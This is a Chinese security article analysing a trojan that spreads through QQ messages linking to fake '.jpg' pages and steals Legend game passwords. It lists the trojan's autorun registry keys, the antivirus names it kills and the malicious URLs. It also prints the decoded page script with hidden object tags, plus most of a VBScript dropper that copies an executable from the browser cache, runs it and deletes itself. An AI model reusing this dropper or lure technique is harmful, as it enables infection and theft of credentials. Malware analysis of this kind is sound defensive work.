网络安全 频道

美女图片传病毒美女杀手传播过程全解

    【IT168 专稿】前几日,一个朋友中了一个病毒,他的qq上线后就会自动发给好友一个网址。这个病毒弄的他叫苦不迭,我应邀到那个网之看了一下,发现了病毒传播的过程,在此把发现过程共享一下给大家,希望大家对病毒能够引起重视,同时也不要害怕,正确的对待它。

    下面的信息是关于这个病毒的一个变种在瑞星病毒库资料里的信息:

    Trojan.Legend.Syspoet.b.enc

    WINDOWS下的PE病毒:美女杀手

    VB写的盗游戏密码的木马,采用UPX压缩,一旦执行,病毒将自我复制到系统文件夹:

    %SYSDIR%\filename.exe

    它将创建下列注册表键值来使自己随Windows系统自启动:

    HKLM\SoftWare\Microsoft\Windows\CurrentVersion\RunServices

    "filename.exe"="filename.exe"

    HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run

    "filename.exe"="filename.exe"

    其中"filename"可能会变化.比如:"sobsm.exe".

    它将终止带有下列字眼的程序的执行:

    瑞星
    金山毒霸
    江民
    专杀
    毒
    木马
    防火墙
    监控
    注册表编辑器
    任务管理器 
    进程列表
    进程管理
    Antivirus
    Trojan
    REGSNAP
    REGSHOT
    REGISTRY MONITOR
    W32DASM
    它通过QQ发送虚假消息给在线好友,导致在线好友上当,有鉴于此,希望用户收到带有下列链结的请不要访问:

    http://qiumei.3322.org/zhaopian/me.jpg
    http://jiawei.6600.org/zhaopian/me.jpg
    http://siting.8800.org/zhaopian/me.jpg
    http://qianhui.9966.org/zhaopian/me.jpg  

    它将盗取游戏“传奇”的各种信息:

    账号 
    区域
    服务器
    密码
    附加

    同时它还将盗取的信息发送到可配置的指定邮箱。

    注: %SYSDIR% 是可变的WINDOWS系统文件夹,默认为: C:\Windows\System (Windows 95/98/Me),
C:\Winnt\System32 (Windows NT/2000), 或 C:\Windows\System32 (Windows XP)、
%WINDIR% 是可变的,是WINDOWS的安装目录(默认为: C:\Windows or C:\Winnt).

    因为我事先知道是病毒,所以对待比较小心。我看到连接地址最后是一个.jpg的文件,于是我就打开了flashget,(用flashget下载,病毒总不会发作吧),下载后,怎么办?我看到下载下来的文件只有几k而已,料想不会有什么复杂的东西在里面,于是就启动了图像编辑器,打开这个文件。奇怪的事情发生了,格式错误!!!难道是我下错了?于是我就涨起胆子连到了那个网址上,一幅图片出现了,(其实我觉得哪个女的不漂亮,呵呵)。这下子我可傻了。根据我的经验,我已经中着了。反正也中着了,抱着死猪不怕开水烫的心态,我大胆的进行了进一步的分析。首先,我察看了一下哪个图片的属性。一个细节被我捕捉到了,我连接得网址最后是一个me.jpg,可是那幅图片的属性是my.jpg,这可是一个线索,于是我习惯性的打开了源文件(精彩的部分开始了)。我看到了如下的内容:

    <html>

    <head>

    <script language="JScript.Encode">#@~^xQEAAA==@#@&@!Z O@#@&\mD,AWMNdP{JYf;tYss]22]Z9Y!z]2Z8W[zu&3]Z9]ZbYf;W4%n1YY Z[mYCu&G] yhbUEa/ lkwY+y] ZA+botDYffZ]y!Ak[O4]ffu+!Z]f3u&Z&G(LnmDY22YZfu!bu&;r:T]+!kD^Y2f:H Lao]23Y!G]ZbY&/G(LnmDY ZNCOm]&9Yy 4+^sKRCkwu u ZA+bo4Yu&9Tu !SrNDt]29Y Z!u&3]f/JW8L^Yu&3YZf]T)u&/z(G9XY22u!fu!zY&;z4YsVYfAJPJ&w!YPHG;D,mMk2YG~1W[+,OtDn@#@&0EU^DkGx,G!YAKD9`#@#@&P@#@&7l.P +AAKDNkI@#@&x+SAGD9/,''~EUnkmCwchKD[d*i@#@&[Km;:UDRAMkD+` +SAWMNd#p@#@&N,@#@&K;YSWD9cbi@#@&Jz~OR@*@#@&Qn4AAA==^#~@</script>

    </head>

    <body>

    </body>

    </html>

    怪了!!!.jpg的文件怎么会成了<html>代码了呢?看来,作者还真下了一番功夫,把服务器的文件解析也改了?厉害厉害!!!看到没,加密了,不过不要紧,网上到处都可以找到解密工具。解密后,代码如下:

    <html>

    <head>

    <script language="JScript.Encode">

    <!--

    var words ="%3Chtml%3E%0D%0A%3Cbody%3E%0D%0A%3Cobject%20data=%22winups.asp%22%20weight=0%20width=%200%3E%3C/object%3E%0D%0A%3Cimg%20src=my.jpg%3E%0D%0A%3Cobject%20data=%22hello.asp%22%20weight=0%20width=%200%3E%3C/object%3E%0D%0A%3C/body%3E%0D%0A%3C/html%3E" //put your cripto code there

    。。。。。。。。这一段是加密后的代码

    function outword()

    {

    var newwords;

    newwords = unescape(words);

    document.write(newwords);。。。。。。。解密后写入网页内

    }

    outword();

    // -->

    </script>

    </head>

    <body>

    </body>

    </html>

    看来作者为了难为我们,还加密了这段代码,不过没关系,它能加密,我们就能解密,并且,他的加密手段很简单,不过是应用了现成的js的函数,我们用unescape()不就解密了么。于是,我动手写了一个小脚本,把上述代码解密了出来。

    加密的代码内容如下:

    <html>

    <body>

    <object data="winups.asp" weight=0 width= 0></object>

    <img src=my.jpg>。。。。。。。。。现在明白为什么是my.jpg了吧

    <object data="hello.asp" weight=0 width= 0></object>

    </body>

    </html>

    看到了么,尾巴露出来了!!!,这两个文件可是关键啊。于是乎,下载了这两个文件。(扩展名就随意了)。

    我先打开了winups.asp(是用记事本打开的,我发现文件开头有MZ字样),哈哈,原来这是一个.exe文件。先不理会他,看看另一个,另一个相对简单,打开之后一看是一段脚本代码(可恶,竟然又加密了)。没办法,解密,得到如下代码:

    <object id=''wsh'' classid=''clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B''></object>

    <HTA:APPLICATION caption="no" border="none" visiable="no" windowState="minimize" >

    。。。。这是在建立脚本对象

    <script LaNGUAGE="VBScript.Encode">

    window.moveTo -100,-100

    。。。。哈哈,竟然用这种隐藏窗体的方法

    Set g_fs = CreateObject("Scripting.FileSystemObject")

    Set tf = g_fs.CreateTextFile("c:\isp.hta",true)

    。。。。看看,来了不是,开始文件操作了吧

    tf.write "<HTA:APPLICATION caption=" & CHR(34)& "no" & CHR(34)& " border=" & CHR(34)& "none" & CHR(34)& " visiable=" & CHR(34)& "no" & CHR(34)& " showintaskbar=" & CHR(34)& "no" & CHR(34)& " >" &chr(13)&chr(10)

    。。。。。看来作者是要用脚本来写脚本了,够狠!!!

    tf.write "<object id=''wsh'' cl"& chr(97)&"ssid=''clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B''></object>"&chr(13)&chr(10)

    。。。。。F935DC22-1CF0-11D0-ADB9-00C04FD58A0B 是WSH的sid

    tf.write "<" & "script LANGUAGE=" & CHR(34)& "VBScript" & CHR(34)& ">"&chr(13)&chr(10)

    tf.write "on error resume next"&chr(13)&chr(10)

    tf.write "window.moveTo -100,-100"&chr(13)&chr(10)

    tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)

    tf.write "dim exepath"&chr(13)&chr(10)

    tf.write "Function Search(objFolder) "&chr(13)&chr(10)

    tf.write "Dim objSubFolder"&chr(13)&chr(10)

    tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)

    tf.write "If InStr(1, objfile.name, " & CHR(34)& "winups" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)

    tf.write "set filecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10)

    tf.write "filecp.copy (exepath)"&chr(13)&chr(10)

    tf.write "exit for"&chr(13)&chr(10)

    tf.write "End If"&chr(13)&chr(10)

    tf.write "Next "&chr(13)&chr(10)

    tf.write "For Each objSubFolder in objFolder.SubFolders "&chr(13)&chr(10)

    tf.write "Search objSubFolder"&chr(13)&chr(10)

    tf.write "Next"&chr(13)&chr(10)

    tf.write "End Function"&chr(13)&chr(10)

    。。。。这个函数是找到winups哪个文件,然后复制到系统目录下 。。。。

    tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)

    tf.write "str=WSH.regread(" & CHR(34)&   "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\cache" & CHR(34)& ")"&chr(13)&chr(10)

    。。。。这是在寻找缓存目录

    tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)

    tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)

    tf.write "exepath=othisfolder.path & "& chr(34) & "\win.exe" & chr(34) &chr(13)&chr(10)

    tf.write "search tempfolder"&chr(13)&chr(10)

    。。。。真是的,还要复制到系统目录下,可恶

    tf.write "wsh.run (exepath)"&chr(13)&chr(10)

    tf.write "wsh.run " & CHR(34)& "command.com /c del c:\isp.hta" & CHR(34)& " ,0"&chr(13)&chr(10)

    。。。。呵呵,还不忘了删除自己,习惯不错,值得学习

    tf.write "window.close()"&chr(13)&chr(10)

    tf.write "<" &chr(47)& "script>"&chr(13)&chr(10)

    tf.close

0
相关文章